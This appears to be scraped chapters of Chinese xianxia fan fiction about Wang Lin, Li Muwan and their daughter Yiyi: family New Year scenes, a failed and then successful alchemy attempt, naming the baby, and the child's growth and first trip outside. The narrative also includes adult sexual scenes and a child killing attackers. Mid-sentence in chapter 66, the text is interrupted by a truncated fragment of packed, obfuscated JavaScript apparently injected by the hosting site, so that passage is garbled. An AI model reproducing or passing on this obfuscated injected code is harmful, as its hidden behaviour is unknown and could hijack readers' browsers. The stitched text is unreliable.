旋即又附在王依依耳中交待了话,王依依便跑到王天水跟前抱着祖父的腿,吵着要抱。 王天水抱起她,蹭着她小脸,“我们大孙女重了,也长高了。” “祖父,祖母,依依还帮爹爹一块照顾娘亲和弟弟了。”王依依扬起小脸,等待长辈们的夸赞。 “依依这么棒了?”周英素捏了捏她肉嘟嘟的小脸,怀里的王思礼见着咯咯直笑。 李奇庆也跟着寒暄,夫妻二人不在王家村这一年,他也帮了王家不少忙。 小院里用过晚膳,李奇庆赶在下雪前回了镇上,王父王母逗着王思礼睡着了,王依依跑到西厢房撑着脑袋在长木桌前问王林:“爹爹,许立国叔叔为何不在咱们家过年啊?” “他在县里呢。”王林捏了两下她脸,指尖的冷让她不自觉后缩,颤了两下。 “那他还会来吗?”在王依依眼里,他也是一家人。 “过了年依依就能见着他了。”王林铺好被褥,又拧了热帕巾,给她擦着小脸。 屋外风大,檐下飘起些雪碎,又要下雪了。 屋子里的暖炉烧得热,王依依索性趴在被褥上,小手捂住脸,打着主意,“爹爹,依依今晚想跟你们睡。” “好。”王林依着她,“那你唤娘亲回来。” 李慕婉从堂屋抱着王思礼回到西厢房,门推开时,冷风袭入,怀里的小人儿睡得熟。 王林把摇篮放到矮榻前,生怕她放手后人就醒了,王林轻轻晃着摇篮,没一会儿王思礼又睡下了。 “婉儿,天气冷。”王林从身后抱着她,衣裳上粘的还是寒气。 “明日得空咱们去镇上采买年货吧。”李慕婉靠着他肩头,身下裙摆被拽着,王依依仰着头望着。 “爹爹娘亲,依依也要抱。” “带她去吗?”李慕婉看了眼她,问着王林。 “娘亲,去哪?”王依依转着眼睛问。 “不带。”王林想了想笑着说。 “爹爹,娘亲,你们要去哪?”王依依执着问道。 王林抱起她,牵着李慕婉上榻,王依依盘着小腿坐在被褥上,王林耐心道,“给依依买新衣裳,还有糖葫芦,依依在家帮祖父祖母看着弟弟,好不好?” “好。”王依依这才掀了被褥钻进去。 李慕婉褪了衣裳,看了眼摇篮里熟睡的王思礼,面容带着笑意,对着矮榻的父女说:“睡觉吧。” 矮榻挤着三个人,王依依本想睡中间的,王林什么都没说,单手给她拎到最里边,长臂抱过李慕婉,把人搂在怀里,王依依只觉凉飕飕的,这还不如跟祖父祖母睡呢。 无可奈何,爹娘搂得太紧了,她尝试去拽李慕婉的手臂,却被王林挡下了,除了能贴着娘亲的后背,她看不见娘亲的脸,床榻里边的小人不怎么安分。 王林抬了被褥,怕她冷着了,“依依别玩了,睡觉。” 王依依只好抓了一缕李慕婉的长发,没一会儿便睡熟了。 *** 雪下了整夜,茅屋盖上一层白,院里海棠枝堆起积雪,王依依的秋千架有年久失修的颓败,绳子晒老化了,王天水在院里重新换了新的。 烟囱外,炊烟袅袅,周英素在厨房做着早饭,王林挑水回来,暖壶装了热水,周英素叮嘱着:“热水烧好了,铁柱你拿到房里去,给婉儿洗漱用。” “好。”木桶的水倒入水缸里,映着他轮廓。 “思礼夜里有没有闹?”周英素又问。 “醒了一次。他不爱闹,娘放心吧。”王林拿起暖壶,又抓了木盆回了西厢房。 王依依换好衣裳坐在小凳上逗着刚喂完奶的王思礼玩,王思礼张着嘴笑。 李慕婉还在梳妆,房门推开了,又掩上了。 “阿兄挑水回来了?”李慕婉转身顺手插好木簪。 “嗯,婉儿,回来了。” 王林放下暖壶,说话时还吐着雾气,屋内的炭火还有余温,他往木盆里倒入热水。 “昨夜下了雪,今早又晴了,早晨冷,婉儿多穿一些。” 李慕婉走过来,拿着热帕洗漱,王林顾着王依依,给她擦小脸。 她不在那段日子,也都是王林这么照顾着她。王思礼见没人与自己玩儿,张着四肢“咿呀咿呀”胡乱叫着,好似自己跟自己说话,王林热帕也给他擦了擦。 用过早饭后,两人走到村口坐马车去赶市集,王依依留在院里,荡着新的秋千玩,只是她一荡,海棠枝上的雪便砸下来,两边的小髻铺着雪,鼻尖也留了些,也不见她哭,竟然还觉得好玩。 接着又荡了几下,不断有积雪掉落,她还伸手去接,周英素从鸡舍出来看着满身覆雪的她,便给她抱回屋内,擦干净了雪碎。 王思礼睡了几觉,饿了就哭,周英素给他喂了李慕婉事先留下的奶水,吃饱也不在闹了。 两人昏暮前赶回来,王林身后的背篓满满当当的,李慕婉手里拿着糖葫芦,王依依早早就在院门晃着,等着她的糖葫芦。 “娘亲,今天依依自己玩雪球了。”她接过糖葫芦咬了一口。 “是嘛,谁跟依依一块玩的?”李慕婉接着她的话。 堂屋内摇篮里,李慕婉瞧了一眼,王思礼还睡着。王依依蹭在她怀里,“自己玩的。” 李慕婉满是不解,周英素给她说了详细,原是如此。 “婉儿给爹娘买了新的护膝,”王林拿出背篓的 东西,“还有袄褂,依依的新衣裳,还有思礼的。” “先吃饭吧。”周英素端上饭菜,王依依坐在王林怀里,要挨着他吃。 “昨夜下了雪,待会吃了饭我再给娘熏熏艾。”李慕婉说。 见她跑了一日很是辛苦,周英素忙道,“不用了,你爹如今都能给我熏了,婉儿不必麻烦。” “无碍的。” “我也要学,以后依依帮祖母熏。这样祖父不辛苦,娘亲也不辛苦。”王依依满脸认真,白日见着祖父给祖母熏艾,她蹲在一旁看的很是仔细。还颇有兴致的模样。 王林摸了摸她脑袋,“好,依依乖,吃饭。” 她不用别人喂也能自己吃,只是筷子还使得不是那么熟练,但她懂事,也不会弄得哪都是。 王林时不时给她碗里夹些菜,她便能安安静静自己吃,偶尔听得大人说话,逢着她觉着有趣的便会插上一两句,逗得大家一块笑。 66.炸炉 修真界接50章 李慕婉怀着身孕,不便动用灵力,可是她最近得了一张丹方,迫不及待想要试炼,看着紧蹙眉心的王林,李慕婉还想争取。 “师兄,婉儿炼丹不会影响的。你是不是过于紧张了些。”李慕婉抱着王林手臂,撒着娇。 但凡与她有关的任何事,他都不得不紧张,毕竟他再也无法承受失去她的痛苦。 “不行。”王林故作严肃。 “那婉儿炼丹时,师兄在一旁为婉儿护法,如此定不会有问题的。”李慕婉坚持着。 “不妥。”王林打坐着还是摇头。 李慕婉性子再好也是有脾气的,见他不应转身就走,也不管王林是何种反应,抬袖时一个十品丹炉从储物袋出来,不断往丹炉灌输灵力。 王林见状心急如焚,打断李慕婉施法,把她锢在怀里哄着,全然没了方才的傲气,“婉儿,你还怀着身孕呢,怎能如此不顾及自己身子,你想炼丹,我来就是。” “你吗?”李慕婉这脱口而出的质问倒是让他有些局促,连话都磕绊了。 “是,有问题?”王林问。 李慕婉忆起云天宗他为弟子时,炸了好几个丹炉才不得已来寻自己点悟,他那炼丹天赋属实难以提及。 她不由笑了笑,“这十品丹炉是师兄赠给婉儿的,若是炸了,婉儿得心疼。” “婉儿心疼丹炉,”王林面目凝重,“也不心疼我?” “师兄这是承认自己炸炉了?”她指尖冒出火焰,隔空点起丹炉。 王林面不改色,“有婉儿在一旁指点,为夫不会炸炉。” 李慕婉闻言倒是好奇了,这才心满意足地收了灵力,王林挨着她在丹炉前坐下,按照丹方记载药物,分别不同时辰放入丹炉。 事先一贯是地火强度把握不好,即便他如今神通广大,修为高深,可炼丹之道仍是欠缺天赋,若说悟性,他倒是不输。 李慕婉看着炉子有隐隐炸开的气势,忙道:“师兄,灵气输送太猛了,需尽快控制体内灵力。” 王林额间渗出汗珠,不由紧张些,可面色却看不出任何异常,尤其是在李慕婉面前。 他收了些灵力,可地火强度在这时却极其不稳定,丹炉摇晃剧烈,李慕婉已经看的出来,他心境不稳。 果不其然,片刻后丹炉炸开,王林连同她的面颊都沾上一层灰沫。 王林暗自叹道:想不到千年了,再炼丹时还是失败了,这炼丹之道着实困难。 他擦了一把面颊,正想解释着,却见李慕婉盯着自己。他嘴角带着一缕愧意,抬袖要给她擦脸。 “我的丹炉,我的草药。”李慕婉皱着小脸别过去不让他碰,有些生气。 王林挠挠头带着无奈,继续哄着她。 “婉儿,我这还有丹炉,我再试试。”他转过人,见她小脸受了殃及,好笑又不敢笑,忙给她小脸擦干净。 白发落了些灰,李慕婉给他吹掉了,反过来安抚他,温柔说:“师兄,莫要心急。” 王林得了李慕婉鼓舞,又接着试炼,千年前他炼低阶丹药都还费劲,再次炼丹便是十品,难度前所未有。 李慕婉仔细点拨,接连不下十次失败后,王林终于练成十品丹药。 “师兄,你成功了。”李慕婉抱着他,全然不顾他身上炸炉后的脏污,鼻尖蹭到了些灰,王林想给她擦净来着,去把手上的灰一块蹭上去,更脏了。 “这……”王林忍不住笑出声。 “师兄,怎么了?”李慕婉眼波流转望着他。 “婉儿别动。”王林用干净的手背给她擦拭,可不知怎么的,擦着擦着就吻了上去,李慕婉往后退,王林抵着她腰后,腹部微笼,还不是很显怀。 气息渡得越来越深,李慕婉打断他,“师兄,婉儿身子不方便的……” 王林一脸不甘,不舍的移开了。 自知她有身孕以来,日日贴着彼此,却不能更近一步,委实让人心乱如麻。 王林还闪过念头,也不知这仙法中有没有这么一种神通,亲近了却不会影响胎儿的。可是他很快放弃了这种荒唐的思绪,李慕婉的身子最为重要,他耐得住。 李慕婉为此还偷偷给他炼制了清心丹,有了清心丹,夜里他抱着李慕婉睡便能好受些。 他从山谷外寻了许多灵草养在桃林里,往日都是李慕婉打理较多,自怀了身孕,王林也不许她动,李慕婉只能依着他。 他采集露水时,李慕婉便在一旁陪着,时不时二人谈着笑,这些露水采集回来后都得用天逆珠浸泡成灵液后给她养身子。 渡完灵气后,李慕婉靠在王林膛前,他掌心摸着小腹,下颚蹭着她。 李慕婉仰头问着,“师兄,给孩子取个名字吧?” 王林抬袖,桃木桌上现出笔墨纸砚,“婉儿想好取什么名字了?” “师兄来取吧,这是我们第一个孩子。”李慕婉想到一茬,直起身子,“不对,还不知是男孩还在女孩,如何取名?” 王林宠溺地刮了下她鼻尖,“婉儿是怀了身孕,记性也差了,只需神识一扫,也能辨清的。” 李慕婉娇嗔钻入他怀里,她怎么没想到这个。 “那师兄你看看,婉儿腹中胎儿是男孩还是女孩,师兄再取名字就是。” 王林合眼驱动神识,一缕金光绕在腹部,须臾后,王林故作高深地提起笔。 李慕婉伏在他肩头,端详着落笔处。 王林牵着淡笑,另一只手掌心捂过她眼眸,温声说:“待夫君写完,婉儿再看。” 李慕婉依着他,静静等着他搁笔,没过多时,王林松开手,白纸举在李慕婉眼前,他歪头看着她,掌心抚在李慕婉腹部,轻轻摩挲着。 李慕婉举着白纸,念道:“依依?王依依。” “师兄,可是取自一生一世一双人之意?”李慕婉仰着头。 “知我者,婉儿也。”王林唇落在她小脸,“我的婉儿生得好看,依依定然会随了你的样貌。” “师兄也好看,”李慕婉凑近他,回应他,仰着脖颈点缀他的唇,“师兄的眼睛,生得漂亮,依依定会随了你。” 王林低头一笑,摸着她的唇峰,视线落在腹部上。 两只仙鹤从上空划过,灵鹿踩着云霞,小鹿跟在母鹿身后,云朵布在天际,湖心亭纱幔落下,两个身影缓缓躺下。 *** 王依依出生那日,七彩霞光笼罩桃林之外万里,自此桃林除了李慕婉的琴音,还有王依依的啼哭。她一哭,王林便手足无措,只能从储物袋拿出稀奇古怪的法器给她玩。 这个法子管用,李慕婉也随着他,或许是从小耳濡目染,她对法器禁制格外感兴趣。 三岁的王依依炼丹之术和阵法天赋异禀,只是还小的她并不擅长使用体内的修为和灵力。 王林教她学了不少禁制,王依依悟性和天赋都很不错,夫妻俩带着她在栽种灵草的院子里栽下一颗桃树幼苗。 “爹爹,娘亲说种了桃树,等桃树长大了,依依也就长得跟娘亲一样高,是不是这样?” 李慕婉牵着她走过来,王林手搭过她腰后,回着王依依,“娘亲说得对。” 王依依不明白为何爹爹要亲自动手挖一个坑,为何不能用法力,桃树栽种后,她每日大部分时间盘着小腿等待树苗长高,日出东方,再而西下。 “自打种了桃树,王依依就总在院里坐着发呆,禁制不学了,法术也不学了。”李慕婉倚在王林胸前,莲池倒着二人影子。 “这个年纪,总会有她自己的想法,等她想明白了,便好了。”王林并不大会干预她,但若王依依想玩什么,王林大多时候都会依着她。 夜深了,王依依还盘着腿坐在星空下,李慕婉叹气,抚琴的手停了,王林握着酒壶饮酒动作随着琴音而止。 “婉儿,怎么了?” “依依这几日都不黏着我们了。”李慕婉怀着担忧,“师兄,咱们去看看吧。” 王林起身带着她瞬移到小院上空,小人儿坐在树苗前发呆,王林神念一动,王依依身体慢慢升空,星光下她收回神,看见了父母二人,甜甜的喊着:“爹爹,娘亲。” 李慕婉张开手臂,王依依落在臂弯里,鼻尖蹭了泥土,她轻柔地擦掉了,满脸都是疼爱。 “依依,跟娘亲回去吧,你还小,要睡觉了。” 王依依靠在她胸前,眼珠子打转时盯着王林手里的葫芦,好似想到了什么,点头应着,“依依要跟爹爹和娘亲睡。” 原是王林给她开辟了一间小屋,小屋有一层隔绝禁制,无人能扰,夜里都是她自己睡。 “好。”李慕婉答应下来,王林摸了摸她脑袋,“依依,桃树长高了吗?” 王依依摇着头,“爹爹,为何小树长得那么慢,依依想它快点长大。” “世间万物,生长周期都有定数,依依还小,却精通许多法术,可很多事情急不得,要耐得住等待的过程。”王林讲得深奥,她并不能理解。 “等待的过程?”两边小髻一晃一晃的。 “像依依这几日坐在树苗前什么事都不做,这便是等待的过程。”王林宽袖微动,几人缓缓落地,王依依左右牵着二人。 走着走着提起双腿,“娘亲,爹爹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王依依再次回到屋里时,只看见榻上已没有了自己的位置。爹娘抱得紧,她只好爬到李慕婉一侧,躺下后,心里念着院外那颗桃树。 王林那句等待的过程,一直绕在她脑中。 翌日天亮,李慕婉从王林臂弯醒来,恍然中才记起昨夜女儿和自己一块睡的,身后一声娘亲唤醒了她。李慕婉想转身瞧,被王林大掌扣着脑袋,没让她动。 “婉儿。” “娘亲,依依醒了。”她又唤着。 王林没睁眼,抬袖手一挥,门开了。 他声音还泛着哑,“依依醒了自己出去玩吧,娘亲得陪着爹爹再睡一会儿。” “哦。”王依依习以为常了,自己穿了衣裳,出门后就往院中去。 昨夜还是幼苗的桃树却高出院墙,俨然有百年大树的茂盛,王依依欣喜若狂地转着树跑,一夜之间,这树苗吸收了灵液和法术,果真长大了。 李慕婉蹭着他下颚,屋外貌似有声音,“师兄,好像是依依的声音。” 王林听见了,却没在意,忽而翻身压上,把李慕婉藏在身躯之下,整个屋子被几道禁制隔开,桃林外本就被他设下法术,自然没有人能发觉,而这禁制是要防着王依依的。 “依依能自个玩,婉儿。”王林热气呼过她耳廓,手臂稍作用力,又将人翻过来。 “王林。”她压着难以呼吸,蓦然间脖颈受力,他咬的。 “你又下了禁制?”李慕婉仰着脖颈说,“待会依依该要哭了。” “不会,”王林很是放心,“若进不来她会寻法子解开的。” “那若是解开了,看见了可如何是好?”李慕婉抵着他动作,越发担心。 王林手掌往上游,嘴角噙着笑,“她解不开的,这不仅仅是上古禁制。” 除了禁制,他还加了灵气在上边,以她这个年岁,即便精通禁制,也不可能在他的修为之下解开这道禁制。 李慕婉了然于心,细指嵌入他的发丝,白发落在面颊上,丝丝缕缕的光线透过窗户,长腿被力量架起,她毫无防备地哼了一声。 “师兄,你的禁制,能隔绝声音吗?”李慕婉迷离中压着声音问。 王林淡出一抹笑,“婉儿无需忍着,只有夫君能听见。” 闻言她手腕地在结实的胸膛前,一下下推着他,王林撑身换了位置,坐在腰腹上的人强烈地回应他。 禁制上似有解开的动静,王林忍不住阖上眼,紧紧抱着她薄背,五官凝成一团。 “婉儿,继续……”暗哑的声音哄着她,捧着她…… 67.禁制 寝室内热气弥漫许久,王依依望着爹娘屋子上散出的禁制之光,把几个空葫芦都藏回了储物袋里。 李慕婉穿好衣裳,王林披上宽袍,坐在铜镜前替她描眉,顺手自作主张地画了个莲花样式的花钿。这眉眼五官,她躺在避天棺时,王林流连了无数次,抚摸了无数次。 “依依会不会跑远了?”李慕婉握着他手腕,腕骨分明。 王林搁下石黛,挑了双星月耳环,“估摸着又守着桃树呢。” 两人收拾好着装,屋外禁制开了,王林牵着李慕婉的手漫步池边,只觉远处院落有一股强大的灵力波动。他神识一扫,两人身影落在桃树前,只见昨日还是幼苗的桃树已然不见,而那空地一颗大树林矗立,枝杈茂盛。 “这树,怎么长成这样了?”李慕婉满脸讶异。 王林神识探入根部,里边明显是灵液滋养过的,敏锐的他立刻察觉出其中古怪,偏头朝李慕婉一笑,轻声说:“也不知依依去哪里了,若是她知道心心念念的小树苗长高了,定然会很开心。” 李慕婉意会后配合道,“是啊,不过这树为何一夜之间就长大了?” “若是依依问起来,师兄要怎么给她解释?” 王林声音故意提高,“就说是这桃林里灵气浩瀚滋养而成的吧。” 王依依闻言,结印出现在二人身后,她仰着脑袋朝身影喊道:“爹爹,娘亲。” 两人默契一笑,纷纷转身,王林蹲下身紧着问:“依依,这树怎么长大了?” 王依依暗想自己还没问呢,怎得爹爹先问了。脑子回想他方才说的话回道,“是因为,因为这桃林浩瀚灵气滋养而成。” “嗯?难道不是依依施了法术?”王林抓着她小臂,鼻尖抵着她小脸蹭了下。 李慕婉掩着嘴隐隐一笑,眼睁睁看着王林设套,就等着她钻进去。 王依依心虚并未立即应,而是镇定先观察了王林的神色,见他未露正肃,而后又看看李慕婉,却注意到纱领下显眼的痕迹,她转了话锋问:“娘亲的脖子怎么了?” 李慕婉下意识摸了摸锁骨的位置,收起了笑。 王林摁回她脑袋对着自己,接着问:“回话,王依依。” 王依依躲着视线,撇了撇嘴说:“就,就是法术。” 见他一脸质疑的神色,皱起的眉略显严肃,王依依又忙补充道,“还有爹爹给的灵液。” “只是爹爹给你的那一瓶吗?”王林正肃说,“娘亲教过什么?” “小孩子不可以什么?”他耐心引导着她。 王依依求助的看着李慕婉,转着指尖委屈说:“娘亲,娘亲说不能撒谎……” “依依从爹爹房里拿的灵液,可是爹爹,小树苗真的长大了,昨夜我浇下这些灵液,再施法让根部吸收灵液后便回了房睡下,这就是爹爹说的,等待的过程,依依说的对不对?” “这就是依依所理解的,等待的过程?”王林蹙眉,她脑子是灵活的,悟性也好,可却缺少了耐性,而对于几岁的孩子来说,这样的话题或许太过沉重了。 他并未责怪,只是耐心解释说:“爹爹所说的等待,是时间万物遵循自然规律,而非借助外力影响从而达成目的,是经过岁月漫长的积累和沉淀方知,方能探寻真我。” “若凡事都依赖法力仙术,那便都没了意义。” 王依依似懂非懂,李慕婉在一旁静静看着,良久,王依依点了点头,“爹爹的意思是依依不该用灵液和法术助树苗长大,依依知道了。” 王林摸了摸她脑袋,“乖,去娘亲那吧。” 久而久之,这桃林似乎关不住她了,夫妻两人走过世间万里,千锤百炼,体味人生百态,可王依依没有。她生在桃林,爹娘隐居,未曾离过桃林,她开始向往外界,常常坐在桃树上晃着小腿仰望碧落苍穹。 王林与李慕婉出双入对,王依依望着湖心亭的双影,娘亲又在抚琴了,桃林外停了不少灵兽,它们是被这琴音吸引而来,那余波里散着灵气。 在她记忆里,爹爹很喜欢娘亲抚琴,每每他都会在一旁拿着酒壶沉浸地欣赏,他的眸子中,似乎除了娘亲便再无其他。 不仅如此,爹爹还格外紧张娘亲,她不知道别人的爹娘是否也是这般。每次娘亲皱眉时,爹爹都会慌张地上前关怀,而自己皱眉时,爹爹都会等一阵自己的反应再寻问缘由。 莲池上空的那个镜子,爹爹布了禁制,她探不出里面是什么,但她隐约觉着,那里能够通往外界,或许是不一样的世界。 小孩的脑子总是天马行空,对万物怀着好奇。 湖心亭上的琴音停了,她看见爹爹抱了娘亲,亭子的纱幔落下,她捂了捂眼睛,又露出一条缝隙,眯着眼,轻轻笑出声,眼前的湖心亭隐匿了去,什么都看不见。 连同爹娘的身影也没有了,她知道那是爹爹又施了隐藏的禁制,只要她等上一等,湖心亭自会再次显现,只不过这时间不规律,每回再次出现时,她便察觉娘亲的脸总是红的。 王依依不明所以追着问:“娘亲,你擦胭脂了吗?” 李慕婉求助地望向王林,王林轻描淡写搪塞她,“嗯,爹爹送的胭脂。” 日光斜过桃林,王依依还坐在桃枝上,百无聊赖地折了片叶子放入嘴里吹曲子。 “依依。”不知何时,王林和李慕婉已到了桃树下。 王依依低头看去,王林已经张着手臂等着她。 “依依来,爹爹接着你。” “小心些,别摔着了。”李慕婉在身后温柔道。 王依依收起法力,往王林怀里跃去,稳稳地接住了。 “爹爹,娘亲,”王依依抓着他衣领,指着桃林外围,“桃林外是什么?” “依依想去看吗?”王林道。 “想。” 湖面映着三人身影,李慕婉拨开她面颊的碎发,衣裳不知她从哪刮的,划破一道口子。 她也长得快,看来又得多做几身新衣了。 “依依以后爬树当心些,衣裳破了。”她检查着有没划伤。 “娘亲,爹爹说你第一次给他做衣裳便是做的蛟龙皮甲,刀枪不入,百毒不侵,依依也想要一件。”她趴在王林肩头,歪着脑袋与李慕婉说话。 “好,只是娘亲暂时还没有蛟龙皮,要等咱们去坊市看看有没有得换,等娘亲换了蛟龙皮再给依依做,好不好?”李慕婉理平她的衣襟。 “娘亲真好,怪不得爹爹那么稀罕娘亲,依依也喜欢。”她嘴甜得很,王林捏了捏她面颊,好似力道大了,她有些不乐意,躲过头。 夜深后,李慕婉哄睡王依依才又回到自己屋里,王林已经褪下外袍,李慕婉脖颈上的痕迹才消下去一些,打从屋子回来,她便觉有一双眼睛打量着自己,李慕婉身躯微动,挪动的步子也慢下来。 “婉儿,该就寝了。”榻上的声音宛若藏着催促。 “师兄,你若是困了先睡吧,婉儿还要卸发。”她目光闪躲,没敢往矮榻望去。 可王林却施法把她头上的钗环和衣裳都变走了,墨发柔顺垂在腰间,把线条遮住了。 “卸好了。”他状若不知的盯着她,伸出手,“婉儿,过来。” 李慕婉还未动,却见王林举起手势,仿若要告诉她,若不过去,他还会再施法,李慕婉不得已听话照做。 “依依一个人睡,万一醒来找我们,怎么办?”李慕婉坐到榻沿,倚在怀里。 王林捋过发丝挽在她耳后,白发铺在褥枕上,把人拽了下来,贴着胸膛说:“不怕,依依的屋子,都下了禁制。” 李慕婉泛起无奈,这才安下心,替他拨掉衣襟,软唇含着喉结下滑,后颈被他抓得紧,偏不让她躲。 玲珑身段悬空在他跟前,一半撑着榻。王林手臂一转,李慕婉翻了个身,紧接着她被撞得往里边挪,涣散的眸子装着王林的身影,已经虚了几个重影。 *** 夜过子时,偏屋里的王依依睡醒一觉便找着李慕婉,屋内喊了好几声无人应,她爬下矮榻,蹬了小鞋,刚出房门,可檐下却有隔绝禁制挡住去路。 小脸皱成一团,插起小腰怨念道:“又是爹爹的禁制。” 很快她整理好情绪,盘腿坐下,细细研究起来,可这禁制实在繁琐,每次快要成了,又有一道新的禁制。 “连环禁制?”王依依小脸冒了汗,额头还有汗珠。 禁制之外还有一层阵法,即便她都解开了,也不可能出得去,压着李慕婉的王林神识归回,他嘴角噙笑,继续吻了下去。 翌日王依依眼睑下青了一层,后半夜她没睡,愣是解了一晚禁制,可算把禁制都破解了,殊不知是天亮后王林收回法阵。可她困得不行,已经不想找娘亲了,摇摇晃晃爬回了小榻,沾上褥枕便睡。 李慕婉来唤她时,叫了许久也不肯起,王林只是倚在门框上淡淡笑着。 *** 一日,王依依出了桃林,天黑时还未回,李慕婉担心,神识探查后发现她在桃林之外与人斗法。 王林闻言瞬息间来到王依依身后,几名修士见着她身后一对道侣,周身散着一股震慑人心的庞大灵力,旁人看不出是何修为,而这种压迫前所未有。 原是王依依外出,在桃林周边的山谷游玩,遇着几个比她大十岁左右的修士,她把人给揍了。 那几个修士又传音叫了帮手,想要抢夺她身上的法器。 王依依性子也不好惹,虽说年纪小,可修为却不低,还有王林亲传的禁制在手,普通修士奈她不何。 王林和李慕婉并未出手,王依依知道爹娘在,解释道,“爹爹,娘亲,他们要抢我的东西。” “还记得爹爹说过什么吗?”王林摸了摸她头,“人若犯我,礼让三分,人再犯我,该当如何?” 与他那双极为相似的眼睛倏然锋利,“斩草除根。” 王依依随即施法,一束红光类似闪电从云层破出,灵力波动导致山巅之上有碎石掉落,山谷风云突变,灵力凝聚而成的红剑朝那几人的方向迅速落下,几位修士合力也无法抵挡她一击。 “小小女娃子,竟有这等修为,快跑。” “晚了。”王依依声线稚嫩,却丝毫不输气势,小脸认真,瞬息间几人丧命在山谷中。 “她还小,若杀气太重……”李慕婉抓紧王林手腕,显出担忧。 “婉儿也知,修真之路艰险,我倒觉着让依依从小便怀有警惕是好事。往后她总要自己出去历练的。”王林安慰道。 王依依踏着小步过来,“娘亲,爹爹,依依把坏人打跑了。” “娘亲不是说要给依依做蛟龙皮甲吗?”王依依指着山谷深处。 “娘亲还没去换物,明日吧,好吗?”两人目光望着她指的方向。 王依依笑着说:“不用换,依依已经杀了一条蛟龙,就在那,可是蛟龙太大,储物袋放不进,方才那几人就想抢来着。” 王林听闻显出诧异,歪头一笑,“依依带路。” 见着千丈蛟龙后,两人相识一笑,这蛟龙与当初他扛回去那条极为相似。二人心照不宣,王林给她扛回去了,扒下蛟龙皮后,李慕婉给她做了件心心念念的蛟甲,她这才心满意足,夜里非要穿着蛟甲睡。 此事过后,王林也在思考王依依的将来,他与李慕婉隐居于此,是他的选择,可王依依生下来就在这生活,随着年岁长大,她越发对外面世界产生好奇,他不能左右女儿的想法,也不能干预她要选择的路。 李慕婉抱着王依依在莲池边垂钓,木桶里搅了几尾鱼。 王林坐在湖心亭望着母女俩,似乎下定了决心。 霎时,母女身后立着一个白影,银发随风舞动,几只仙鹤划过长空。 他蹲下身双臂环过母女两人,王依依抬起头,朝他欣然一笑,“爹爹,依依钓了好多鱼。” 王林一脸怀疑的神色看着她,“依依确定没使用法术?” “没有,爹爹不信问娘亲啊。”王依依小眼神瞪着他,往李慕婉怀里靠着。 “都是依依自己钓的。”李慕婉顺着她说。 察觉王林似有心事,李慕婉起身拉过他走开了些。 “师兄,你是不是有话想与婉儿说啊?”李慕婉抚着他长发,白发似雪飘在空中。 “嗯。” “是依依的?”李慕婉试探着。 王林望向远处桃林,目光柔和。 “自上回她从山谷外猎杀一只蛟龙,依依近来总念叨着外边的世界,”李慕婉靠着他肩头,“师兄,我想……” “婉儿的意思,我明白。”王林打断她,指腹抚着她面颊。 两人齐齐望着池边的王依依,鱼线又动了,小人儿拉不动,刚想用法术,又谨记娘亲的话不能施法,她忙扭头寻人,撒娇道,“娘亲,帮依依收一下,我拉不动。” 两人相视一笑,王林上前抓过她手中的鱼竿,细线割破水帘,没一会儿,鱼儿跃出水面,王依依欢呼跳着,又一尾鱼入了木桶。 日落笼罩桃林,已是满满一桶收获,三人吃不了那么多,李慕婉让她放了,只留了两条大的。 王依依又坐在那颗桃树上赏云霞,王林牵着李慕婉,身影出现在山谷外的悬崖之上,他好似在等什么人。 李慕婉一直望着他侧脸,“师兄,你在等什么?” 王林浅笑着,声线清冷,“等一个故人。” 故人?李慕婉不知他这些年还都交了哪些故友,可也没多问。 “让他为依依护道吧。”牵着的手心松了,继而绕过李慕婉后腰,搂紧她,“依依若想外出历练,我不拦着,有人为她护道,婉儿与我都能放心些。” 两人对视片刻,李慕婉点头,“嗯。” 夕阳躲入山后,远处一抹紫色光影逼近,随着波动,那声音先传近了,隔着空谷悠悠传去。 “主子,主子。” 这声音,李慕婉有些熟悉,直到许立国立在二人跟前,他讪讪笑着,朝王林唤着“主子”。 而后视线落在李慕婉身上,满是惊呼的语气,打量着她,“我嘞个乖乖,多年未见,主母越发风采照人了。” 许是许久没吃极识,许立国完全忽视了她身旁红了眼的王林,发丝无风而动,熟悉的杀意悄无声息地环在许立国身后,李慕婉礼貌与他颔首 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两人互相打量着,许立国望着王林,一副又让他难办的神情,可王林眼神在告诉他没得商量的余地。 王林会在她身上留下神识,不会有太大的危险,不然即便有许立国护道,他也不会完全放心。 王依依急着外出历练,见着许立国第二日便要离开桃林。 王依依离开没多久,王林以神识探查其踪迹,她也只是在山谷的千里外徘徊,原以为她是不愿走了,没成想是带着许立国再次捕杀蛟龙。 还用李慕婉给的传音玉简传回山谷,让王林去把蛟龙扛回去,嘱咐娘亲多做几件蛟龙皮甲,她要送给许立国。 王林听着传音,把蛟龙交由李慕婉,皮甲全部自己收走了。 嘴里念着,“婉儿做的蛟龙皮甲岂是谁都能穿的?” “什么?”李慕婉没听清,以为他与自己说话呢。 “没什么,婉儿,这蛟龙皮甲我有用处。” “师兄,你是不是想依依了?”正在用龙髓炼丹的李慕婉见他坐立难安。 王林手里捏着一方帕子,替她擦拭着汗珠,“说到底依依也还小呢,让她出去玩几日再回来,她能待久些。” “婉儿的丹药炼好了吗?”不知不觉间,腰上不知何时缠了双臂,他的气息越发近了,李慕婉微微颤动,拉出距离问他:“师兄?” “婉儿有没有想过,”王林指尖上滑,“依依或许是太孤独了,如若有个弟弟或者妹妹陪伴呢?” “师兄,婉儿刚炼了丹药,身上都是汗渍。”李慕婉挣扎着,却发现力量更紧了。 “莲池里的花开了。”王林热气闷过耳侧,“我陪婉儿去洗洗吧。” 话音刚落,二人身躯落入莲池,水面的凉意遮过胸前,李慕婉深吸一口气,王林指尖掐决间水温升高,瞬时一股暖热驱散寒意。 “你做什么?”李慕婉惊慌中紧紧勾着他脖颈,却发现身上的衣裳都被他变走了。 “婉儿不是说,身上有汗渍?”王林挑着意犹未尽的笑意,目不转睛盯着她,“我帮你擦?” “你……”李慕婉话堵在口中,“让依依外出历练时,是不是就这么盘算了?” 他没出声,只是淡淡笑着。 这么多年过去了,李慕婉仍是不明白,他原本那么克制,无心情欲之人,与她相处时也会如此放纵。 钻入发丝的指尖微微抓着她后仰,细长脖颈从长发里露出来,王林朝那块白玉点下,李慕婉不由微颤,软处触着他。 